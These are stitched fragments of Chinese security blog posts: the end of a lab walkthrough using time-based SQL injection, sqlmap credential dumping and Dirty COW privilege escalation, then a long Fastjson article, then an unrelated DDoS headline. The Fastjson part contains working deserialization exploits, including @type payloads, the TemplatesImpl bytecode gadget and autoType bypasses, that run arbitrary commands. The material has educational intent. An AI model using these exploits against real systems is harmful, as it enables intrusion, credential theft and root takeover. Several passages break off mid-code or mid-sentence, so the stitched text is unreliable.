(SLEEP(10)))XZ)# ``` 这会导致数据库服务器执行如下操作: 1. 查询用户表(users),查找用户名为'admin'且密码为空的记录。 2. 同时,执行子查询 `(SELECT x FROM (SELECT (SLEEP(10)))XZ)`。 3. 由于 `SLEEP(10)` 函数的存在,数据库服务器会暂停执行10秒。 4. 如果数据库服务器响应时间的延迟符合预期,攻击者可以推断出注入点是可行的。 ### 应用情境 这种时间盲注技术通常用于: - **确认注入点**:通过观察响应时间的延迟,攻击者可以确认注入点是否存在。 - **提取数据**:在更复杂的情况下,攻击者可以通过多次注入、观察响应时间,逐步提取出数据库中的敏感信息。  发现服务器确实`10s`之后才响应,说明`SLEEP(10)`函数被数据库给执行了,这样就可以基于这个时间去尝试问服务器,说你的当前数据库的名称的第一个字母是不是`a`,是不是`b`,是不是`c`......挨个字符来进行探测,经过大量的同步的探测,就可以在指定的时间范围之内,把目标系统所有的数据库的信息等等其他的库名,表名等内容全都给它榨取,提取出来。 把相同的`payload`放到`psw`里也是一样的延迟几秒才响应。 `psw=' AND(SELECT x FROM (SELECT (SLEEP(5)))XZ)#`  把前面的数据包保存为`1.txt`,让`sqlmap`去跑``  跑出来是`mysql`数据库了  接下来爆库`sqlmap -r 1.txt -p uname --dbms mysql --dbs` 1. `**-p uname**`: - 指定注入点参数。在这个例子中,`uname` 是要测试SQL注入漏洞的参数。例如,如果HTTP请求包含`uname=admin`,`sqlmap` 将尝试在这个参数的位置进行SQL注入。 2. `**--dbms mysql**`: - 明确指定目标数据库管理系统为MySQL。这可以帮助`sqlmap`优化注入测试,因为不同的DBMS有不同的SQL语法和功能。 3. `**--dbs**`: - 命令`sqlmap`列出目标数据库管理系统中的所有数据库。这个选项用于在确认存在SQL注入漏洞后,枚举数据库。 发现两个数据库`doubletrouble`和`information_schema`  接下来爆表`sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble --tables` 发现一个表`users`  接下来爆列名`sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble -T users --columns` 发现`password``username`这两列  那我们不管了直接`dump`下来 `sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble -T users --dump`  获得两对账号密码: - `montreux``GfsZxc1` - `ZubZub99``clapton` 用这些个账号密码登录Web页面失败,但是想起前面信息收集端口扫描的时候,发现`22`端口是开放的,管理员可能会对账号密码进行复用 `ssh clapton@192.168.0.104`登录,使用密码`ZubZub99`成功登录  # 提权(脏牛漏洞): `uname -a`发现内核版本是`3.2.0`  利用`nc`把`exp`传输过去   `gcc -pthread exp.c -o exp -lcrypt`在靶机生成一个`exp`可执行文件 ### 命令解析 1. `**gcc**`: - GNU编译器集合(GNU Compiler Collection)。这是用于编译C和C++代码的编译器。 2. `**-pthread**`: - 这个选项告诉编译器使用POSIX线程库(pthread)。这是线程编程时常用的库,允许程序创建和控制多个线程。 3. `**exp.c**`: - 源代码文件名。这个文件包含了C语言编写的代码。 4. `**-o exp**`: - 指定输出文件名为 `exp`。编译后的可执行文件将被命名为 `exp`。如果没有这个选项,默认输出文件名为 `a.out`。 5. `**-lcrypt**`: - 这个选项告诉编译器链接`crypt`库。`crypt`是一个用于加密的库,通常用于处理密码加密和解密。在一些系统中,它可能是`libcrypt.so`或`libcrypt.a`。 `chmod +x exp`赋予可执行权限 `./exp pass`设置密码为`pass` 根据脏牛漏洞的利用代码,一旦我们执行`./exp pass`,它就会使用一个叫`firefart`的账号来替换目标操作系统的`root`账号,并拥有`root`账号的`uid``gid`以及所有的权限,然后会自动备份一下当前操作系统的`/etc/passwd`文件到`/tmp/passwd.bak`,如下图所示。  `ssh firefart@192.168.0.104`登录目标系统  如果是一次护网比赛,或者是一次授权的渗透项目的话,推荐将`/tmp`目录下已经备份的`passwd.bak`这个文件给它重新覆盖回原来的`/etc/passwd`文件,这样做的目的是还原操作系统原来就拥有的其它那些账号以及原来的`root`账号本身。 `cp /tmp/passwd.bak /etc/passwd`拷贝回来之后 `passwd`重新设置`root`账号的密码为`123456`  退出出来之后下一次我就可以不再需要重复的去激活触发它的脏牛漏洞,而是直接使用`root`账号来进行登录 `ssh root@192.168.0.104`  查看`/root`目录下的文件,`logdel2`看起来是一个日志清理的脚本,我们不关心它。  查看`root.txt`这个`flag`文件,打靶完毕!  # 完毕!
不是,解析个JSON你给我弹出个计算器?
大家好,我是小顾,是一名Java开发者。在实际的项目中,我们会经常用到JSON格式的数据来和前端交互,还有一些字符串转JSON,JSON转字符串的场景。现在Java有很多成熟的JSON工具,比如Gson,Jackson等,不知道你们是用什么JSON解析工具呢?我上家公司用了是Fastjosn,这个工具是阿里巴巴开源的一个高性能JSON解析库,是阿里的温少以一己之力开发的,通过库的名称可以知道,这个工具是以快著称。它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。 ## 前言 `fastjson` 网上的教程一大堆,那具体是怎么用的呢,下面我来整理一下基础的用法。 ### 引入依赖 要使用fastjson,需要在maven项目里的pom文件中添加这个库的依赖。 ```xml <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>x.x.x</version> </dependency> ``` 具体`Maven`的各个依赖的详细信息我们可以在这个网站上面查得到: [https://mvnrepository.com/artifact/com.alibaba/fastjson](https://mvnrepository.com/artifact/com.alibaba/fastjson) 如果要使用最新的v2版本,可以使用fastjson2: [https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2](https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2) ### 简单的demo #### 对象序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { // 将对象转为JSON字符串 User user = new User(); user.setId(1L); user.setName("gulihua"); user.setPassword("12345678"); System.out.println(JSON.toJSONString(user)); } @Data public static class User { private Long id; private String name; private String password; } } ``` 这段代码就是将一个 `User` 对象转换为 JSON 格式的数据。输出结果如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/UyW9hnkD5ZwL5QjV.webp" alt="img](![image" width="100%" /> #### 对象反序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { // 将JSON字符串解析为Java对象 String jsonString = "{\"id\":2,\"name\":\"xiaogu\",\"password\":\"111111\"}"; User user = JSON.parseObject(jsonString, User.class); System.out.println(user.getId() + ", " + user.getName() + ", " + user.getPassword()); } @Data public static class User { private Long id; private String name; private String password; } } ``` 这段代码是将 JSON 字符串解析为 `User` 对象。输出结果如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/1VSfMFNAAshTfVFW.webp" alt="img](![image" width="100%" /> #### 集合序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { List<User> userList = new ArrayList<>(); userList.add(new User(1L, "gulihua", "123456")); userList.add(new User(2L, "xiaogu", "11111111")); System.out.println(JSON.toJSONString(userList)); } @Data @AllArgsConstructor public static class User { private Long id; private String name; private String password; } } ``` 以上的代码就是新建了两个 `User` 对象,并且将它们添加到 `userList`集合中,然后转换成JSON 数组的字符串,下面是输出结果: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/TO2MQh4It9zT1DFT.webp" alt="img](![image" width="100%" /> #### 集合反序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { String arr = "[{\"id\":1,\"name\":\"gulihua\",\"password\":\"123456\"},{\"id\":2,\"name\":\"xiaogu\",\"password\":\"11111111\"}]"; List<User> userList = JSON.parseArray(arr, User.class); System.out.println(userList); } @Data @AllArgsConstructor @NoArgsConstructor public static class User { private Long id; private String name; private String password; } } ``` 上面的代码是将一个JSON数组的字符串转化为 `User` 集合列表,输出: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/jFlo9EcbQznc6JG8.webp" alt="img](、Map 和 Collection 类型,比如Atomic 类型:调用字段或方法返回的对象的 set 方法更新值,Map 类型:将传入值中的所有键值对合并到目标 Map,Collection 类型:将传入值的所有元素添加到目标 Collection。当字段不属于上述特殊类型时,通过 field.set() 或 method.invoke() 直接通过反射方式设置值。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/k6nWi9GuzbdpS8iC.webp" alt="img](![image" width="100%" /> 那么问题来了,如果对象里的字段和JSON里的字段名称不一样怎么办呢,不要慌,有一个我们可以通过一个 `@JSONField`注解来指定对应的映射关系。可以看下下面的demo: ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { String jsonString = "{\"user_id\":2,\"user_name\":\"xiaogu\",\"user_password\":\"111111\"}"; User user = JSON.parseObject(jsonString, User.class); System.out.println(user.getId() + ", " + user.getName() + ", " + user.getPassword()); } @Data @AllArgsConstructor @NoArgsConstructor public static class User { @JSONField(name = "user_id") private Long id; @JSONField(name = "user_name") private String name; @JSONField(name = "user_password") private String password; } } ``` 通过代码示例可以看到,如果字段不一样,直接通过 `@JSONField(name = "JSON字段名称")` 来映射对象和JSON字段的关系。 相关的代码: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/dyaHNQG85tFauf6Z.webp" alt="img](![image" width="100%" /> 其实这个`build`方法的主要功能就是解析`bean类`的结构信息,遍历类的所有字段,包括私有字段和公共字段。如果字段有 `@JSONField` 注解,优先使用注解指定的名称和序列化特性。它也支持链接结构的build方法,如果有 `@JSONPOJOBuilder` 注解,就会提取 `buildMethod`,然后解析以特定前缀(如 `with`)开头的链式方法。它会识别以 `set` 开头的方法,将其映射为 JSON 属性。并支持集合、`Atomic` 类型字段的只读解析。 ## 起因 我们知道,fastjson 主要功能就是JSON字符串和bean的序列化、反序列化,但是它并没有使用jdk自带的序列化机制,而是自己实现了一套机制。对JSON来说,要想把Java对象转成JSON,要么是基于对象的属性,要么就是基于`get/set`方法。上面的代码分析中讲到,JSON转对象的时候,fastjson 会遍历所有的`set`方法,同理,在Java对象转JSON的时候,它会遍历所有的`get`的方法。而像其他的JSON库并不是这样写的,比如`Gson`,他是通过反射遍历该类中的所有属性,并把其值序列化成JSON。 我们首先看一个示例,我们定义了一个`User` 对象,里面有一个`Hobbies`类型的`hobbies`属性,这个`Hobbies`类型其实是一个自定义的接口。 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { @Data @AllArgsConstructor @NoArgsConstructor public static class User { private Long id; private String name; private Hobbies hobbies; } public interface Hobbies { } @Data @AllArgsConstructor @NoArgsConstructor public static class football implements Hobbies { private String club; } } ``` 接着,我们把他序列化一下: ```java public static void main(String[] args) { User user = new User(1L, "gulihua", new football("myFootballTeam")); System.out.println(JSON.toJSONString(user)); } ``` 当我们要对`User`进行序列化的时候,fastjson会扫描所有的的`get`方法,即找到`getId`、`getName`和`getHobbies`这时候就会将`id`、`name`、`hobbies`两个字段的值序列化到JSON字符串中,输出如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/TkzmEeyu0Ikfodgc.webp" alt="img](![image" width="100%" /> 那么问题来了,这段JSON字符串能够成功的反序列化吗?如果能`hobbies`字段又被反序列化成什么呢,因为`hobbies`定义的是一个接口,反序列化时,它会反序列化成什么对象呢?试一下: ```java public static void main(String[] args) { String str = "{\"hobbies\":{\"club\":\"myFootballTeam\"},\"id\":1,\"name\":\"gulihua\"}"; User user = JSON.parseObject(str, User.class); System.out.println(user); } ``` 输出: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/PP9eJTlykHTmtT9J.webp" alt="img](![image" width="100%" /> 可以看到,`hobbies`字段并没有值。所以,当一个类中包含了一个接口的时候,在使用fastjson进行序列化的时候,会将实现的类型抹去,只保留接口的类型,使得反序列化时无法拿到原始类型。那如何去解决呢?那就是把原始类型记录下来不就行了,fastjson 里有一个序列化的配置`SerializerFeature.WriteClassName`可以记录原始类型: ```java public static void main(String[] args) { User user = new User(1L, "gulihua", new football("myFootballTeam")); System.out.println(JSON.toJSONString(user, SerializerFeature.WriteClassName)); } ``` 输出JSON字符串结果 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/gvuEbnV5tYeXHQK3.webp" alt="img](![image" width="100%" /> 可以看到,JSON字符串多出来个`@type`字段,值是接口原始类型的全类目,这样做的好处是方便在反序列化的时候指定具体的类型。试一下反序列化: ```java public static void main(String[] args) { String json = "{\"@type\":\"org.example.JSONTest$User\",\"hobbies\":{\"@type\":\"org.example.JSONTest$football\",\"club\":\"myFootballTeam\"},\"id\":1,\"name\":\"gulihua\"}"; User user = JSON.parseObject(json, User.class); System.out.println(user); } ``` 输出的对象: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/I0UzeQa7iLgPGoki.webp" alt="img]( throws Exception { java.lang.Runtime.getRuntime().exec("open -a Calculator"); } } public static void main(String[] args) throws Exception { String s = "{\"@type\":\"org.example.OpenCalculator$Calculator\"}"; ParserConfig config = new ParserConfig(); Object obj = JSON.parseObject(s, Object.class); } } ``` 不是,我解析个JSON你咋给我弹出个计算器? <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/wOqAH3x9REEn9yGW.webp" alt="img](的权限,并能够在目标系统上运行任意命令。 我们来打个断点调试下,看下为什么会这样: 过程和上面类似,它会根据类型获取反序列化器,然后用反序列化器进行反序列化操作。通过断点可以看到,获取到的反序列化器是`FastjsonASMDeserializer`,这个序列化器通过`ASM机制`生成的临时代码源码是看不到的,那么什么是`ASM`呢,`ASM` 是一个强大的 Java 字节码操作框架,它可以灵活地动态生成一个Java 类,而无需手动编写文件。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/IBIcV4OEBP0VCLYW.webp" alt="img](`方法,这是用于获取当前 Java 虚拟机 (JVM) 的运行时环境实例,通过这个实例,开发者可以访问和控制与 JVM 相关的一些底层操作,如内存管理、运行外部程序、垃圾回收等等。比如打开计算器的命令`java.lang.Runtime.getRuntime().exec("open -a Calculator");` 但是这段程序只能在有`org.example.OpenCalculator$Calculator`类的程序上运行,要想在服务器上执行一些命令,需要在服务器上动态生成一个类并加载。 我们先介绍一下`ClassLoader`,它是 Java 虚拟机 (JVM) 中一个核心组件,用于动态加载类文件。它将 `.class` 文件加载到 JVM 中,供程序运行时使用。`ClassLoader` 提供了一种灵活机制,使得 Java 可以支持动态加载和运行代码。里面有一个方法`defineClass`,这个方法是用于将字节码数据转换为 `Class` 对象。这是实现自定义类加载器的重要方法,可以绕过默认的双亲委派模型,实现自定义的类加载逻辑。但是它是`protected`访问权限,我们可以通过反射的方式修改权限,实现用它来加载我们的字节码文件。 我们先把刚刚的`Calculator`类提取出来,然后运行`javac Calculator.java`,编译成`.class`文件。 ```java /** * @author gulihua * @Description * @date 2024-12-12 15:40 */ public class Calculator { public Calculator() throws Exception { java.lang.Runtime.getRuntime().exec("open -a Calculator"); } } ``` 然后将`.class`文件字节数组生成base64字符串。 ```java yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAD0NhbGN1bGF0b3IuamF2YQwABwAIBwAXDAAYABkBABJvcGVuIC1hIENhbGN1bGF0b3IMABoAGwEACkNhbGN1bGF0b3IBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAIAAQACQANAAoACwAAAAQAAQAMAAEADQAAAAIADg== ``` 然后运行 ```java public static void main(String[] args) throws Exception{ Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] code = Base64.decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAD0NhbGN1bGF0b3IuamF2YQwABwAIBwAXDAAYABkBABJvcGVuIC1hIENhbGN1bGF0b3IMABoAGwEACkNhbGN1bGF0b3IBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAIAAQACQANAAoACwAAAAQAAQAMAAEADQAAAAIADg=="); Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Calculator", code, 0, code.length); yyds.newInstance(); } ``` 成功弹出了计算器 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/zi35tM85soKyX4BV.webp" alt="img]( throws Exception { java.lang.Runtime.getRuntime().exec("open -a Calculator"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ``` 编译成`.class`文件,`base64`一下: ```java public static void main(String[] args) throws Exception { String classBase64 = "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA9DYWxjdWxhdG9yLmphdmEMAAcACAcAHAwAHQAeAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAfACABAApDYWxjdWxhdG9yAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADgAEAA8ADQAQAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABoACwAAAAQAAQAPAAEAEQAAAAIAEg=="; try { final String classPath = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String json = "{" + "\"@type\":\"" + classPath + "\"," + "\"_bytecodes\":[\"" + classBase64 + "\"]," + "'_name':'Test'," + "'_tfactory':{ }," + "'_outputProperties':{}" + "}\n"; ParserConfig config = new ParserConfig(); System.out.println(json); Object obj = JSON.parseObject(json, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } ``` 成功弹出了计算器 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/D0QGDighewiP6ArO.webp" alt="img](![image" width="100%" /> 再进行升级改造下,我们刚刚都是手动写一个`Calculator`类,然后手动编译,这个类其实也可以动态生成,我们可以利用一个开源的 Java 字节码操作库`javassist`来动态生成一个计算器类。 引入包: ```xml <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> ``` 通常我们需要将`.java文件`使用`javac命令`编译成`.class文件`才能正常执行,`javasist`是一个处理字节码的类库,它提供了简单易用的API,能够动态生成或修改`class字节码`文件,与 ASM 等其他字节码框架相比,`Javassist` 更加高层次,操作起来更接近于直接操作 Java 源代码。现在来简单学习一下它的常用用法: Javassist中最为重要的是`ClassPool`、`CtClass`、`CtMethod`、`CtField以及CtConstructor`这几类。 CtClass(编译时类): CtClass 是 Javassist 中用于表示 Java 类的核心对象,它可以用来创建、修改或操作一个类的结构和方法。 ClassPool(类池):ClassPool 是一个容器,存储和管理所有 CtClass 对象的实例。它类似一个缓存系统,用来加载和存储类的定义。 CtMethod(编译时方法):CtMethod 用于表示类中的方法,支持动态添加、修改和删除。 CtField(编译时字段): CtField 用于表示类中的字段,可以动态添加或修改字段。 CtConstructor(编译时构造器):CtConstructor 用于表示类中的构造器,可以动态添加或修改构造方法。 使用方法: ```java public static void main(String[] args) throws Exception { // 动态创建类 ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Calculator"); // 定义类的初始化块插入代码 String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"; cc.makeClassInitializer().insertBefore(cmd); // 设置类名 String randomClassName = "Calculator"; cc.setName(randomClassName); // 设置父类 cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); // 转位字节数组 byte[] bytes = cc.toBytecode(); String classBase64 = Base64.getEncoder().encodeToString(bytes); try { final String classPath = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String json = "{" + "\"@type\":\"" + classPath + "\"," + "\"_bytecodes\":[\"" + classBase64 + "\"]," + "'_name':'Calculator'," + "'_tfactory':{ }," + "'_outputProperties':{}" + "}\n"; ParserConfig config = new ParserConfig(); System.out.println(json); Object obj = JSON.parseObject(json, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } ``` 执行,成功弹出~ <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/njYRp1zL7xDTYqhb.webp" alt="img](`方法,如果没有开启`autoType`,就先判断类名在不在黑名单中,如果在黑名单里,就直接抛出异常。然后再去匹配白名单,如果在就用`TypeUtils.loadClass`加载。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/X82Lql1p2Yfy0dJk.webp" alt="img](有的版本`AutoType` 必须要开启; 2)基于`JNDI+RMI`或`JDNI+LADP`进行漏洞攻击,会有一定的JDK版本的限制; 3)一些调用链还需要依赖第三方库,有的项目中可能不会用到这些。 不过感兴趣的同学也可以自已试下,看能不能注入进去。我这里也不打算详细说了,因为我也没有复现出来哈哈,可能是`JDK`版本的问题。其实原理都是一样的,看源码,找注入点。 #### 版本 1.2.42 在版本`1.2.42`中,在`ParserConfig.java`中将黑名单的类变成了hash值,应该防止知道类名而进行绕过。不过这些类名的hash都是可以爆破的,目前大部分的内容都已经被爆破出来了。 项目地址: [GitHub - LeadroyaL/fastjson-blacklist](https://github.com/LeadroyaL/fastjson-blacklist) <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/dBu2InSfxiyi1JOu.webp" alt="img](`expectClassFlag`不为null时不能为以下几个类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/LZjdQOrO5BDk8myl.webp" alt="img](不在黑名单里的,但在白名单里的类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/6Yt4uKzuYz5ucSVH.webp" alt="img]( 我们可以看到`Exception`类在缓存`mapping`里,因此我们可以构建一个异常类。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/PoETLhh7uoQXpGBr.webp" alt="img](![image" width="100%" /> ```java public class CalcException extends Exception { private String command; public void setCommand(String command) { this.command = command; } @Override public String getMessage() { try { Runtime.getRuntime().exec(this.command); } catch (IOException e) { return e.getMessage(); } return super.getMessage(); } } public static void main(String[] args) { String a = " {\n" + " \"@type\":\"java.lang.Exception\",\n" + " \"@type\": \"org.example.CalcException\",\n" + " \"command\": \"open -a Calculator\"\n" + " }"; System.out.println(a); System.out.println(JSONObject.parse(a)); } ``` 在`DefaultJSONParser.parseObject`里,检测到`key`是`@type`,然后会进行安全检测。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/ikoPl3DxJaQw3w1O.webp" alt="img]( 我们可以看下`JavaBeanDeserializer#deserialze()`方法,其实它的逻辑和`ThrowableDeserializer#deserialze()`是一样的,都是指定个`expectClass`绕过安全检测。网上用的比较多的类就是`AutoCloseable`,因为它也是在`TypeUtils#mappings`缓存中,并且它的子类比较多,可操作性比较大。我们可以用`FileOutputStream`类作为其实现类。 ```java { "@type": "java.lang.AutoCloseable", "@type": "java.io.FileOutputStream", "file": "/Users/gulihua/Downloads/1/2/test.txt", "append": "false" } ``` 可以看到,文件被创建了。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/08P3WI0YBsylLRbs.webp" alt="img](`去找构造方法的参数签名信息,`JDK 1.8.0_40`版本是没有这些信息的,所以报错了。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/tLBCGpDYrO52ndw4.webp" alt="img](这个类不在`Fastjson 1.2.68`的黑名单中 2)这个类实现了`java.lang.AutoCloseable`接口 3)保留`LocalVariableTable`参数签名信息 肯定是有一些第三方库是满足的,时间有限,我这里就不去尝试了,感兴趣的同学可以去尝试下。 ## 总结 以上就是一些`fastjson`比较知名的漏洞、修复、绕过的过程, 虽然在`fastjson v1`中有很多的漏洞,现在`fastjson v2`重构了`fastjson`,历史版本中存在的漏洞在新版本中均已修复,在安全性上有了很大的提升,我们在实际的项目中可以使用比较新的稳定版本。 我在写这篇文章时,参考了大量的资料,也读了关键的源码,学习到了很多的知识。`Fastjson`自己定义了很多序列化类,并且使用`ASM`技术、反射、使用缓存,并且用了很多的设计模式,并且在算法上也有优化,这个框架的核心就是`Fast`,在序列号和反序列化的效率比其他的库有一定的提升。 我在学习其他大佬写的漏洞分析文章时,觉得他们实在是厉害,对这些发现利用链的大佬们充满由衷的敬佩,不同版本之间的漏洞--修复-绕过-再修复展示了开发者和黑客们的攻防较量,实在是精彩 ~ ## 参考感谢 [https://github.com/alibaba/fastjson/releases](https://github.com/alibaba/fastjson/releases) [https://github.com/alibaba/fastjson/wiki/security\_update\_20200601](https://github.com/alibaba/fastjson/wiki/security_update_20200601) [https://www.cnblogs.com/CoLo/p/15832201.html](https://www.cnblogs.com/CoLo/p/15832201.html) [https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg](https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg) [https://www.cnblogs.com/zpchcbd/p/14969606.html](https://www.cnblogs.com/zpchcbd/p/14969606.html) [https://www.cnblogs.com/nice0e3/p/14601670.html](https://www.cnblogs.com/nice0e3/p/14601670.html) [https://www.cnblogs.com/CoLo/p/15832201.html](https://www.cnblogs.com/CoLo/p/15832201.html#reference) [https://www.cnblogs.com/nice0e3/p/14776043.html](https://www.cnblogs.com/nice0e3/p/14776043.html) [https://milkfr.github.io/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2019/07/22/analysis-java-deserialize-fastjson/](https://milkfr.github.io/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2019/07/22/analysis-java-deserialize-fastjson/) [https://zhuanlan.zhihu.com/p/544463507](https://zhuanlan.zhihu.com/p/544463507) [https://www.freebuf.com/vuls/178012.html](https://www.freebuf.com/vuls/178012.html) [https://zonghaishang.github.io/2018/09/30/Fastjson%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96(%E4%BA%8C)-%E5%86%85%E9%83%A8%E6%B3%A8%E5%86%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A3%E6%9E%90/](https://zonghaishang.github.io/2018/09/30/Fastjson%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96\(%E4%BA%8C\)-%E5%86%85%E9%83%A8%E6%B3%A8%E5%86%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A3%E6%9E%90/) [https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA](https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA) [http://scz.617.cn:8/web/202008100900.txt](http://scz.617.cn:8/web/202008100900.txt) [http://scz.617.cn:8/web/202008111715.txt](http://scz.617.cn:8/web/202008111715.txt) [https://github.com/LeadroyaL/fastjson-blacklist](https://github.com/LeadroyaL/fastjson-blacklist)
网站刚上线,就被 DDoS 攻击炸了!
